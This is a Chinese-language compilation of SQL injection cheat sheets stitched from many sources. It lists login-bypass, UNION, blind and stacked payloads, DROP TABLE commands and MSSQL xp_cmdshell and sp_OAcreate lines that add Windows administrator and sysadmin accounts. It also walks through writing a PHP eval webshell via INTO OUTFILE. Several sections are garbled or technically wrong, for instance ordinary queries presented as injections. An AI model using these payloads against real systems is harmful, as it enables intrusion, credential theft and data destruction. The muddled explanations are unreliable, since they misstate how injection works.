渗透常用SQL注入语句大全
sql注入用例
sql注入用例SQL注入是一种常见的网络安全漏洞,可使攻击者在不正当访问数据库的情况下,执行恶意SQL语句。
为了更好地理解和应对SQL注入漏洞,下面将提供一些SQL注入的常见用例及预防措施。
1. 登录绕过任务描述:通过SQL注入绕过登录验证,并获取管理员权限。
回复内容:SQL注入漏洞能够使攻击者绕过应用程序的身份验证机制,获取未经授权的访问权限。
以下是一个常见的登录绕过用例:假设登录页面的用户名和密码验证的SQL查询语句如下:SELECT * FROM users WHERE username='输入的用户名' AND password='输入的密码';攻击者可以通过在用户名或密码输入框中注入恶意的SQL代码来绕过此验证步骤。
一个可能的注入用例是:输入的用户名:' OR 1=1 --输入的密码:任意密码那么原始的SQL查询语句将会变成:SELECT * FROM users WHERE username='' OR 1=1 --' AND password='任意密码';由于1=1始终为真,攻击者将绕过身份验证并成功登录。
预防措施:使用参数化查询或预编译语句,确保输入的数据被正确地转义和过滤,从而防止注入攻击。
2. 数据泄露任务描述:通过SQL注入获取敏感信息,如用户密码、个人信息等。
回复内容:SQL注入漏洞也可被用于从数据库中获取敏感信息。
以下是一个常见的示例用例:假设应用程序根据用户提供的ID参数从数据库中检索用户信息的SQL语句如下:SELECT * FROM users WHERE id='输入的ID';攻击者可以在输入的ID参数中注入额外的SQL代码,以获取其他用户的敏感信息。
一个可能的注入用例是:输入的ID:1' UNION SELECT username, password FROM users WHERE'1'='1那么原始的SQL查询语句将变成:SELECT * FROM users WHERE id='1' UNION SELECT username, password FROM users WHERE '1'='1';攻击者将获得所有用户的用户名和密码。
sql注入语句大全
sql注入语句大全--是否存在xp_cmdshelland 1=(select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell')--用xp_cmdshell执行命令;exec master..xp_cmdshell "net user name password /add"--;exec master..xp_cmdshell "net localgroup name administrators /add"----查看权限and (select IS_SRVROLEMEMBER('sysadmin'))=1-- //saand (select IS_MEMBER('db_owner'))=1-- // dboand (select IS_MEMBER('public'))=1-- //public--创建个登陆mssql的帐号;exec master.dbo.sp_addlogin name,pass;----把创建的mssql登陆帐号提升到sysadmin;exec master.dbo.sp_addsrvrolemember name,sysadmin;--有用的扩展--获得MS SQL的版本号//mssql版本execute master..sp_msgetversion // dbo public--得到硬盘文件信息//dbo public--参数说明:目录名,目录深度,是否显示文件//读取磁盘目录和文件execute master..xp_dirtree 'c:' //列出所有c:\文件和目录,子目录execute master..xp_dirtree 'c:',1 //只列c:\文件夹execute master..xp_dirtree 'c:',1,1 //列c:\文件夹加文件--列出服务器上所有windows本地组execute master..xp_enumgroups //dbo--得到当前sql server服务器的计算机名称//获得计算机名execute master..xp_getnetname //dbo public--列出指定目录的所有下一级子目录EXEC [master].[dbo].[xp_subdirs] 'c:\WINNT' //可以列目录--列出服务器上固定驱动器,以及每个驱动器的可用空间execute master..xp_fixeddrives //dbo public--显示系统上可用的盘符execute master..xp_availablemedia //dbo--获取某文件的相关属性execute master..xp_getfiledetails 'C:1.txt' //dbo public--统计数据库里每个表的详细情况exec sp_MSforeachtable 'sp_spaceused ''?''' //查询表//dbo public--获得每个表的记录数和容量exec sp_MSforeachtable 'select ''?''','?', 'sp_spaceused ''?''', 'SELECT count(*) FROM ? ' //dbo pubilc--更新Table1/Table2中note列为NULL的值sp_MSforeachtable 'Update ? Set note='''' Where note is null',null,null,null,' AND in (''Table1'',''Table2'')--列出服务器域名xp_ntsec_enumdomains //机器名//dbo public--停止或者启动某个服务xp_servicecontrol 'stop','schedule' //schedule是服务得名称//dbo--用pid来停止某个执行中的程序xp_terminate_process 123 //123是pid //dbo--只列某个目录下的子目录dbo.xp_subdirs 'C:' //dbo--服务器安全模式信息xp_loginconfig //dboxp_regaddmultistringxp_regdeletekeyxp_regdeletevaluexp_regenumkeysxp_regenumvaluesxp_regreadxp_regremovemultistringxp_regwrite--将新扩展存储过程的名称注册到Microsoft? SQL Server? 上。
常用SQL注入代码
常用SQL注入代码文章分类:数据库//看看是什么权限的and 1=(Select IS_MEMBER('db_owner'))And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--//检测是否有读取某数据库的权限and 1= (Select HAS_DBACCESS('master'))And char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --数字类型and char(124)%2Buser%2Bchar(124)=0字符类型' and char(124)%2Buser%2Bchar(124)=0 and ''='搜索类型' and char(124)%2Buser%2Bchar(124)=0 and '%'='爆用户名and user>0' and user>0 and ''='检测是否为SA权限and 1=(select IS_SRVROLEMEMBER('sysadmin'));--And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --检测是不是MSSQL数据库and exists (select * from sysobjects);--检测是否支持多行;declare @d int;--恢复xp_cmdshell;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--select * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select {AT}@version')//-----------------------// 执行命令//-----------------------首先开启沙盘模式:exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD', 1然后利用jet.oledb执行系统命令select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','selectshell("cmd.exe /c net user admin admin1234 /add")')执行命令;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--EXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'判断xp_cmdshell扩展存储过程是否存在:http://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')写注册表exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD', 1REG_SZ读注册表exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'读取目录内容exec master..xp_dirtree 'c:\winnt\system32\',1,1数据库备份backup database pubs to disk = 'c:\123.bak'//爆出长度And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--更改sa口令方法:用sql综合利用工具连接后,执行命令:exec sp_password NULL,'新密码','sa'添加和删除一个SA权限的用户test:exec master.dbo.sp_addlogin test,ptloveexec master.dbo.sp_addsrvrolemember test,sysadmin删除扩展存储过过程xp_cmdshell的语句:exec sp_dropextendedproc 'xp_cmdshell'添加扩展存储过过程EXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll' GRANT exec On xp_proxiedadata TO public停掉或激活某个服务。
sql注入常见语句
sql注入常见语句SQL注入是一种常见的Web应用程序漏洞,攻击者通过在用户输入的数据中插入恶意的SQL代码来实现对数据库的非法操作。
以下是十个常见的SQL注入语句示例:1. 基本的注入语句```' OR '1'='1' --```2. 利用UNION注入语句```' UNION SELECT 1,2,3 --```3. 利用注释符绕过过滤```' OR '1'='1' /*```4. 利用子查询获取更多信息```' OR 1=(SELECT COUNT(*) FROM users) --```5. 利用时间延迟注入```' OR SLEEP(5) --```6. 利用错误消息获取数据库信息```' OR 1=1; SELECT * FROM users WHERE username = 'admin' --```7. 利用UNION注入获取列名```' UNION SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = 'users' --```8. 利用ORDER BY注入获取表名```' UNION SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = 'database' ORDER BY 1 --```9. 利用布尔盲注进行渗透```' OR SUBSTRING((SELECT username FROM users LIMIT 1), 1, 1) = 'a' --```10. 利用堆叠查询进行注入```'; DROP TABLE users; --```以上是一些常见的SQL注入语句示例。
sql注入传入语句
sql注入传入语句SQL注入,指的是利用恶意的SQL语句来攻击数据库系统,盗取或者破坏数据库中的数据。
当用户将一条用户输入的字符串直接拼接入到数据库查询中时,很可能会导致数据库被攻击。
因为这条用户输入的字符串可以改变SQL语句的执行,从而执行用户实际不想执行的操作。
SQL注入最常见的穿越形式是此特性的最大弱点,这种穿越就是所谓的SQL注入。
为了突破Web应用的权限层级限制,攻击者会在 Web表单中植入特殊的SQL语句,以便在提交数据时,攻击者可以借此去突破Web应用的安全限制,获得Desktop access权限。
举例来说,攻击者可以尝试使用SQL注入字符,实施身份认证绕过攻击,以入侵数据库,例如:将“<>”拼接到Web表单中,攻击者可以请求受攻击的系统使用“<>”中的外部变量,从而获得对数据库的访问权限。
另外,SQL注入还可以用于恶意数据修改,某些特殊的SQL语句可以用来修改或者删除数据库中的数据,例如:在一个将用户登录信息存储在一个数据库中的Web应用中,攻击者可以利用SQL注入的技术来删除其他用户的登录信息,这样就可以实现对其他用户账户的控制权。
此外,SQL注入还可以用于窃取敏感信息,攻击者可以使用结合sql语句来窃取数据库中存储的敏感信息,例如用户的账号和密码,或者是商业逻辑中的重要信息,这种利用SQL注入获取数据库中的重要信息经常发生,有时候哪怕数据库在服务器上已经有可见的监测,攻击者也能够成功的获取数据库信息.为了防止SQL注入的发生,最可靠的方式是准确识别用户输入的内容,在获取用户输入的时候要确保内容中不含有任何可攻击内容,然后将用户输入替换为特殊字符,再将其拼接到数据库查询中,另外要尽量将应用用户的权限降到最低级,以限制用户获取数据库中数据的可能性。
最后,还可以通过安装功能完善的WAF来过滤恶意的SQL语句,但是这种防御方式也并不完美,可以作为最后的措施。
sql 注入 常用命令
sql 注入常用命令SQL注入是一种常见的网络安全漏洞,攻击者通过在用户输入的数据中插入恶意的SQL代码,从而使数据库执行非预期的操作。
在本文中,我们将介绍一些常用的SQL注入命令,以及如何防止和应对这些攻击。
1. UNION注入UNION注入是一种常见的SQL注入攻击方式,攻击者通过在SQL 查询中使用UNION关键字,将恶意查询的结果与原始查询结果合并,从而获取额外的信息。
例如,攻击者可以使用以下命令获取用户表中的所有用户名和密码:```SELECT username, password FROM users UNION SELECT NULL, NULL FROM information_schema.tables;```防御方法:对用户输入进行严格的验证和过滤,使用参数化查询或预编译语句。
2. SELECT注入SELECT注入是一种利用用户输入的恶意SQL代码来修改查询结果的注入方式。
攻击者可以通过在WHERE子句中插入额外的条件来绕过身份验证或获取敏感信息。
例如,攻击者可以使用以下命令绕过登录验证:```SELECT * FROM users WHERE username='' OR '1'='1' AND password='' OR '1'='1';```防御方法:使用参数化查询或预编译语句,对用户输入进行严格的验证和过滤。
3. INSERT注入INSERT注入是一种利用恶意SQL代码插入额外数据的注入方式。
攻击者可以通过在INSERT语句中插入恶意SQL代码来执行任意的数据库操作。
例如,攻击者可以使用以下命令在用户表中插入一条管理员账号:```INSERT INTO users (username, password) VALUES ('admin', 'password'); SELECT * FROM users WHERE 1=1;```防御方法:使用参数化查询或预编译语句,对用户输入进行严格的验证和过滤。
sql注入的命令格式
sql注入的命令格式SQL注入是一种常见的网络攻击手段,通过在输入字段中插入恶意SQL代码,攻击者可以绕过身份验证、读取数据库内容、修改数据等。
以下是常见的SQL注入命令格式:1.' OR 'a'='a:这种命令可以让数据库忽略后面的条件,并返回所有数据。
2.'; DROP TABLE table_name;--:这种命令可以删除数据库中的表。
3.'; INSERT INTO table_name (column1, column2, column3) VALUES (value1, value2, value3);--:这种命令可以向数据库中的表插入新的数据。
这些命令只是SQL注入的一部分,并不是所有的注入命令。
而且,这些命令也不能保证在所有情况下都能使用,前提是网站的数据库配置不当,导致了SQL注入的漏洞。
因此,为了防止SQL注入攻击,应该采取一系列的安全措施,例如使用参数化查询、验证和清理输入数据、限制数据库权限等。
同时,开发人员也应该对应用程序进行安全测试,及时修复已知的安全漏洞。
除了上述的几种SQL注入命令格式,还有许多其他的SQL注入命令格式,如下所示:1.' AND 1=1:这是一种经典的注入命令,可以在输入字段中插入恶意代码,使得数据库会忽略后面的条件并返回所有数据。
2.'; DROP TABLE table_name;--:这种命令可以删除数据库中的表。
3.'; INSERT INTO table_name (column1, column2, column3) VALUES (value1, value2, value3);--:这种命令可以向数据库中的表插入新的数据。
4.'; UNION SELECT 1,2,database() ;--:这种命令可以获取数据库的名称。
5.'; UNION SELECT 1,2,group_concat(table_name) from information_schema.tables wheretable_schema=database() ;--:这种命令可以获取数据库中的所有表名。
sql注入攻击的常用方法
sql注入攻击的常用方法
1. 通用注释:通过添加“--”到SQL查询中终止查询,导致可能被后台程序执行的SQL语句被自动终止,此时接受的是语句的注释版本,外界在查询中添加垃圾数据。
2. OR语句利用:在SQL语句中添加 OR 语句来绕过数据库的安全性控制,利用脚本修改现有规则或将数据返回值更改为真假。
3. 绕过双引号:通过添加“\”特殊字符对输入的内容进行转义,让应用不识别双引号;也就是进行双引号的覆盖,之后应用的参数存在未经过滤的漏洞,这样就可以用SQL进行投入攻击。
如:“select * from user where name\=\"admin\"”
4. 利用拖尾空格:恶意攻击者添加空格字符,让被注入的SQL语句能够正常执行,比如输入“' and1=1 ”,这样可以避免SQL解析器将单引号作为结尾进行解析。
5. 表达式匹配:恶意攻击者会使用正则表达式来拆分SQL代码,使用“%*”模糊查询来替换原始值,利用SQL语句中的操作运算符来添加恶意信息,如:%`' OR 1=1--`
6. 数据库指令:攻击者可以使用SQL语句中的union等指令,来将恶意代码和原始数据库里的信息进行拼接,一旦这种拼接成功后,数据库就可能会被恶意攻击者获取数据。
7. 特殊函数:还有一些特殊的字段,如系统函数,比如“ifnull”、“sleep”、“rand”等,可以让攻击者让被注入的数据库服务器延时执行以达到攻击数据库的目的。
8. 无尽苦读:用一些特殊字符来组合语句,以及多次尝试,来穷举出所有可能性。
常用sql注入语句
常用sql注入语句SQL注入是一种常见的Web安全漏洞,黑客可以利用它向服务器发送恶意SQL查询语句,从而获取敏感信息,如用户凭证、信用卡信息等。
以下是一些常用的SQL注入语句:1. `sql_过滤函数()`:向服务器发送一个包含过滤函数的SQL查询语句,从而允许黑客执行任意SQL操作。
例如:```SELECT * FROM users WHERE age > 18;```2. `sql_ between()`:向服务器发送一个包含between子句的SQL查询语句,允许黑客执行任意SQL操作,例如修改用户记录。
例如: ```SELECT * FROM users WHERE年龄 between 18 and 25;```3. `sql_ like()`:向服务器发送一个包含like子句的SQL查询语句,允许黑客执行任意SQL操作,例如查找用户。
例如:```SELECT * FROM users WHERE name like "%admin%";```4. `sql_及物函数()`:向服务器发送一个包含及物函数(比如*)的SQL查询语句,允许黑客执行任意SQL操作。
例如:```SELECT * FROM users WHERE name LIKE "%admin%" AND password LIKE "%admin%";```5. `sql_拼接函数()`:向服务器发送一个包含拼接函数的SQL查询语句,允许黑客执行任意SQL操作。
例如:```SELECT * FROM users WHERE name = "admin" AND password = "123456";```这些语句只是SQL注入漏洞中的一部分,黑客还可以使用更高级的技巧来欺骗服务器,获取更多的敏感信息。
因此,防止SQL注入的最佳方法是采取各种安全措施,例如使用安全的API接口、对输入数据进行过滤和验证、使用安全的密码策略等。
sql 注入方式
sql 注入方式SQL注入是一种攻击方式,通过在用户输入的数据中注入恶意的SQL代码,从而欺骗服务器执行恶意操作或者窃取敏感信息。
以下是几种常见的SQL注入方式:1. 基于1=1的布尔盲注:通过在WHERE语句中注入1=1,使得整个条件永远为真,从而绕过用户名和密码验证。
例如:SELECT * FROM users WHERE username = 'admin' AND password = 'abc' OR 1=1; '2. 基于单引号的错误消息注入:通过在用户输入的数据中注入单引号,使得SQL语句产生语法错误,而数据库会返回详细的错误信息,包含敏感信息。
例如:SELECT * FROM users WHERE username = '' OR '1'='1'; '3. UNION注入:通过在SELECT语句中使用UNION关键字,将原本的查询结果与恶意查询结果合并,从而获取额外的敏感数据。
例如:SELECT username, password FROM users WHERE username = 'admin' UNION ALL SELECT credit_card_number, null FROMcredit_cards; '4. 时间延迟注入:通过在SQL查询中使用SLEEP()函数,使得服务器延迟一段时间响应,从而推断出一些敏感信息。
例如:SELECT * FROM users WHERE username = 'admin' AND IF(SLEEP(5), 'a', 'b')='a'; '这只是一些常见的SQL注入方式,实际上攻击者可以使用各种创造性的方法注入恶意代码。
为了防止SQL注入攻击,开发人员应该使用预编译语句、参数化查询和严格的输入验证来过滤和转义用户输入。
mysql sql注入语句
mysql sql注入语句SQL注入是一种常见的网络安全漏洞,攻击者通过在用户输入的数据中插入恶意的SQL代码,从而对数据库进行非法操作。
本文将列举10个常见的MySQL SQL注入语句,并对其进行简要介绍,以帮助开发人员和管理员更好地了解和防范SQL注入攻击。
1. UNION注入UNION注入是最常见的SQL注入攻击之一。
攻击者利用UNION 操作符将恶意的SQL语句合并到原始查询中,从而绕过输入验证并获取敏感信息。
例如:```SELECT username, password FROM users WHERE username = 'admin' UNION SELECT credit_card_number, '' FROM credit_cards;```上述注入语句将会返回用户表中用户名为'admin'的记录的用户名和密码,同时还会返回信用卡表中所有信用卡号码。
2. 注释符注入注释符注入是通过在注释符号(如--或#)后插入恶意代码来实现的。
这种注入方式可以绕过常规的输入验证。
例如:```SELECT * FROM users WHERE username = 'admin' -- ' AND password = '123456';```上述注入语句中,--后的所有内容都会被注释掉,攻击者将有效的SQL代码插入到了查询中,绕过了密码验证。
3. 布尔注入布尔注入是利用数据库在逻辑判断中的真假返回结果来判断注入点的技术。
通过构造不同的条件语句,攻击者可以逐位猜测数据库中数据的值。
例如:```SELECT * FROM users WHERE username = 'admin' AND ASCII(SUBSTRING(password,1,1)) > 100;```上述注入语句中,使用ASCII函数将密码的第一个字符转换为ASCII码,并判断是否大于100。
sql注入语句实例大全
sql注入语句实例大全SQL注入是一种常见的网络安全漏洞,攻击者通过在Web应用程序中插入恶意的SQL语句来获取或篡改数据库中的数据。
为了帮助读者更好地了解SQL注入的原理和防范措施,以下是一些常见的SQL注入语句实例。
1. 登录绕过注入攻击者可以通过在登录表单的用户名和密码字段中插入SQL语句来绕过身份验证。
一种常见的示例是:```' OR '1'='1'; --```这个语句的目的是使得SQL查询的条件永远为真,绕过用户名和密码的验证,从而登录进系统。
2. 盲注注入盲注注入是一种没有直接回显结果的注入方式,攻击者通常使用布尔条件来判断是否存在漏洞。
以下是一个示例:```' OR '1'='1' AND SLEEP(5); --```如果系统对注入进行了延时处理,并且页面的响应时间超过了5秒钟,那么攻击者可以得出结论,注入是有效的。
3. Union注入Union注入是通过在SQL查询的SELECT语句中使用UNION操作符来获取额外的数据。
以下是一个示例:```' UNION SELECT username, password FROM users; --```这个语句将在查询结果中添加一个额外的数据集,该数据集包含了用户名和密码的信息。
4. 键盘注入键盘注入是在用户提交表单的时候,通过在输入字段中插入特殊字符来触发注入。
以下是一个示例:```'; DROP TABLE users; --```这个语句的目的是删除数据库中的users表。
上述仅仅是一些SQL注入的示例,实际上攻击者可以使用更多的技巧和变种来进行注入。
为了防范SQL注入攻击,以下是一些常见的防范措施:1. 使用参数化查询或预编译语句来处理用户的输入,确保用户的输入不会被解释为SQL语句的一部分。
2. 对用户输入进行严格的验证和过滤,尤其是对特殊字符进行转义处理。
sql注入语句实例大全
sql注入语句实例大全SQL注入是一种针对Web应用程序的安全漏洞,攻击者通过在用户输入的数据中插入恶意的SQL代码,从而造成数据库被攻击者恶意操作的风险。
下面列举一些常见的SQL注入语句实例:1.通过注入语句删除数据:```SELECT * FROM users WHERE username='admin' OR '1'='1';DELETE FROM users WHERE username='admin' OR '1'='1';```2.通过注入语句修改数据:```UPDATE users SET password='newpassword' WHEREusername='admin';```3.通过注入语句获取数据:```SELECT * FROM users WHERE username='admin' UNION SELECT table_name FROM information_schema.tables;```该语句利用UNION关键字将查询结果与另一个查询的结果拼接在一起,从而获取数据库表的信息。
4.通过注入语句获取数据库版本信息:```SELECT @@version;```5.通过注入语句执行系统命令:```SELECT * FROM users; INSERT INTO users (username, password) VALUES ('admin', ';SELECT * FROM users;');```该语句在插入新用户时,利用分号(;)执行了另一个查询语句,从而获取用户表的所有数据。
还有许多其他的SQL注入攻击方式和注入语句。
一旦Web应用程序对用户输入数据的过滤和验证不足,就可能会被攻击者利用注入漏洞进行攻击。
SQL注入语句大全
请求的时候,像这样子用:
http://ip/l.asp?c=dir
31、猜解字段名称
猜解法:and(select count(字段名) from 表名)>0 若“字段名”存在,则返回正常
15、每完成一项浏览后,应删除TEMP中的所有内容,删除方法是:
;delete from temp;--
16、浏览TEMP表的方法是:
and (select top 1 id from TestDB.dbo.temp)>0 假设TestDB是当前连接的数据库名
17、猜解所有数据库名称
and (select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)<>0 dbid=6,7,8分别得到其它库名
and (select top 1 len(username) from admin)=X(X=1,2,3,4,5,… n,假设:username为用户名字段的名称,admin为表的名称 若x为某一值i且abc.asp运行正常时,则i就是第一个用户名的长度。
and (select top 1 ascii(substring(username,m,1)) from admin)=n (m的值在上一步得到的用户名长度之间,当m=1,2,3,…时猜测分别猜测第1,2,3,…位的值;n的值是1~9、a~z、A~Z的ASCII值,也就是1~128之间的任意值;admin为系统用户帐号表的名称),
40、使用sp_makewebtask处理过程的相关请求写入URL
渗透技术--SQL注入写一句话木马原理
渗透技术--SQL注⼊写⼀句话⽊马原理
讲⼀下SQL注⼊中写⼀句话拿webshell的原理,主要使⽤的是SELECT ... INTO OUTFILE 这个语句,下⾯是⼀个语句的例⼦:
SELECT * INTO OUTFILE 'C:\log1.txt'
这样就可以把查询到的数据写⼊到C盘的log1.txt这个⽂件⾥⾯。
利⽤这个原理我们可以把PHP的⼀句话⽊马写到磁盘上从⽽拿到webshell。
本地的⽬标站点来实战⼀下,我们的⽬的是在⽬标的物理路径D:/WWW/下⾯⽣成⼀个php⽂件,从⽽可以使我们⽤菜⼑连接上去:
先简单的判断是否存在注⼊漏洞利⽤, 使⽤单引号'报错,然后是and 1=1 页⾯正常和and 1=2 页⾯不正常判断存在sql注⼊漏洞,现在猜测⼀下字段数量。
在order by 3的时候会出现错误,2的时候正确于是猜测字段2,现在我们通过union查询语句查询⼀下当前的⽤户是谁。
当前的⽤户是root,于是猜测可能是file权限,试试写⼀下⽊马到⽹站路径,⽊马⼀定要写16进制。
下⾯我们的⼀句话是 <?php eval($_POST[ximo]); ?>的16进制
然后菜⼑链接。
上⾯的攻击原理是最基本的into outfile的利⽤。
渗透常用SQL注入语句大全
渗透常用S Q L注入语句大全Document number:WTWYT-WYWY-BTGTT-YTTYU-2018GT1.判断有无注入点;and1=1and1=22.猜表一般的表的名称无非是adminadminuseruserpasspassword 等..and0<>(selectcount(*)from*)and0<>(selectcount(*)fromadmin)—判断是否存在admin 这张表3.猜帐号数目如果遇到0<返回正确页面1<返回错误页面说明帐号数目就是1个and0<(selectcount(*)fromadmin)and1<(selectcount(*)fromadmin)4.猜解字段名称在len()括号里面加上我们想到的字段名称.1 2 3 and 1=(selectcount(*)fromadminwherelen(*)>0)–and 1=(selectcount(*)fromadminwherelen(用户字段名称name)>0) and 1=(selectcount(*)fromadminwherelen(_blank>密码字段名称password)>0) 5.猜解各个字段的长度猜解长度就是把>0变换直到返回正确页面为止1 2 3 4 5 6 78 and 1=(selectcount(*)fromadminwherelen(*)>0)and 1=(selectcount(*)fromadminwherelen(name)>6)错误 and 1=(selectcount(*)fromadminwherelen(name)>5)正确长度是6 and 1=(selectcount(*)fromadminwherelen(name)=6)正确 and 1=(selectcount(*)fromadminwherelen(password)>11)正确 and 1=(selectcount(*)fromadminwherelen(password)>12)错误长度是12 and 1=(selectcount(*)fromadminwherelen(password)=12)正确6.猜解字符and1=(selectcount(*)fromadminwhereleft(name,1)=a)—猜解用户帐号的第一位 and1=(selectcount(*)fromadminwhereleft(name,2)=ab)—猜解用户帐号的第二位 就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了and1=(selecttop1count(*)fromAdminwhereAsc(mid(pass,5,1))=51)–这个查询语句可以猜解中文的用户和_blank>密码.只要把后面的数字换成中文的ASSIC 码就OK.最后把结果再转换成字符.1 2 3 4 5 6 7 8 9 =1,,,=1–;insertintousersvalues(666,attacker,foobar,0xffff )– UNIONSelectTOP 1COLUMN_blank>_NAMEFROMINFORMATION_blank>>_NAME=logintab le-UNIONSelectTOP 1COLUMN_blank>_NAMEFROMINFORMATION_blank>>_NAME=logintab leWhereCOLUMN_blank>_NAMENOTIN(login_blank>_id)-UNIONSelectTOP 1COLUMN_blank>_NAMEFROMINFORMATION_blank>>_NAME=logintab leWhereCOLUMN_blank>_NAMENOTIN(login_blank>_id,login_blank>_name)- UNIONSelectTOP 1login_blank>_nameFROMlogintable-UNIONSelectTOP 1passwordFROMlogintablewherelogin_blank>_name=Rahul –看_blank>服务器打的补丁=出错了打了SP4补丁and1=(select@@VERSION)–看_blank>数据库连接账号的权限,返回正常,证明是_blank>服务器角色sysadmin 权限。
sql手工注入语句SQL手工注入大全
sql⼿⼯注⼊语句SQL⼿⼯注⼊⼤全SQL⼿⼯注⼊⼤全前提需要⼯具:SQL Query Analyzer和SqlExec Sunx Version1.去掉xp_cmdshell扩展过程的⽅法是使⽤如下语句:if exists (select * from dbo.sysobjects where id=object_id(N'[dbo].[xpcmdshell]') and OBJECTPROPERTY(id,N'IsExtendedProc')=1)exec sp_dropextendedproc N'[dbo].[xp_cmdshell]'2.添加xp_cmdshell扩展过程的⽅法是使⽤如下语句:(1)SQL Query Analyzersp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'(2)⾸先在SqlExec Sunx Version的Format选项⾥填上%s,在CMD选项⾥输⼊sp_addextendedproc 'xp_cmdshell','xpsql70.dll'去除sp_dropextendedproc 'xp_cmdshell'(3)MSSQL2000sp_addextendedproc 'xp_cmdshell','xplog70.dll'SQL⼿⼯注⼊⽅法总结(SQL Server2005)2010-01-28 16:17---------以下以省略注⼊点⽤URL代替--(1) ******查看驱动器⽅法******-- 建表p(i为⾃动编号,a记录盘符类似"c:\",b记录可⽤字节,其它省略)URL;create table p(i int identity(1,1),a nvarchar(255),b nvarchar(255),c nvarchar(255),d nvarchar(255));--URL;insert p exec xp_availablemedia;--列出所有驱动器并插⼊表pURL;and (select count(*) from p)>3;--折半法查出驱动器总数URL;and ascii(substring((select a from p where i=1),1,1))=67;--折半法查出驱动器名(注asc(c)=67)--上⾯⼀般⽤于⽆显错情况下使⽤-------以此类推,得到所有驱动器名URL;and (select a from p where i=1)>3;--报错得到第⼀个驱动器名--上⾯⼀般⽤于显错情况下使⽤-------以此类推,得到所有驱动器名URL;;drop table p;--删除表p--(2) ******查看⽬录⽅法******URL;create table pa(m nvarchar(255),i nvarchar(255));--建表pa(m记录⽬录,i记录深度)URL;insert pa exec xp_dirtree ’e:’;--列出驱动器e并插⼊表paURL;and (select count(*) from pa where i>0)>-1;--折半法查出i深度URL;and (select top 1 m from pa where i=1 and m not in(select top 0 m from pa))>0;--报错得到深度i=1的第⼀个⽬录名--上⾯⼀般⽤显错且⽬录名不为数字情况下使⽤-------(得到第⼆个⽬录把"top 0"换为"top 1",换深度只换i就⾏)以此类推,得到e盘的所有⽬录URL;and len((select top 1 m from pa where i=1 and m not in(select top 0 m from pa)))>0;--折半法查出深度i=1的第⼀个⽬录名的长度URL;and ascii(substring((select top 1 m from pa where i=1 and m not in(select top 0 m from pa)),1,1))>0;--折半法查出深度i=1的第⼀个⽬录名的第⼀个字符长度--上⾯⼀般⽤⽆显错情况下使⽤-------(得到第⼆个⽬录把"top 0"换为"top 1",换深度只换i就⾏)以此类推,得到e盘的所有⽬录URL;drop。
常用sql注入
常用sql注入
sql注入是指攻击者通过把sql命令插入到web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的sql 命令(窃取数据,破坏数据库).常见的sql注入形式如下:一:报错注入
这是最常见的一种注入形式,通过向输入框中输入错误的SQL语句,如果服务器没有做充分的安全措施的话,往往会由于混淆参数等形成报错,从而突破服务器的安全检查,接下来就要用注入了;
二:盲注
盲注(无回显)是一种特殊的sql注入,也是最普遍的一种,在这种攻击中,攻击者构造一段SQL语句,而不看任何回显信息。
攻击者利用这段SQL语句诱骗服务器执行恶意语句,获取数据库信息。
三:时间盲注
时间盲注是一种特殊的无回显(盲注)攻击,它是通过伪造SQL 语句,而不用看任何回显信息,诱骗服务器执行恶意的SQL语句,获取数据库信息,最常用的SQL语句就是用if语句,用if语句判断一个数据库操作是true或者false,如果是true,则执行数据操作,
达到SQL注入的目的。
四:堆叠注入
堆叠注入是一种特殊的SQL注入,它是结合一些常见的注入字符,通过多次嵌套来执行SQL指令,达到SQL注入的效果。
这种方法利用了数据库服务器上大量缓存的空间,使攻击者能够绕过服务器的安全
检查。
攻击者可以利用堆叠注入攻击来实现盗取数据库,破坏数据库等。
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
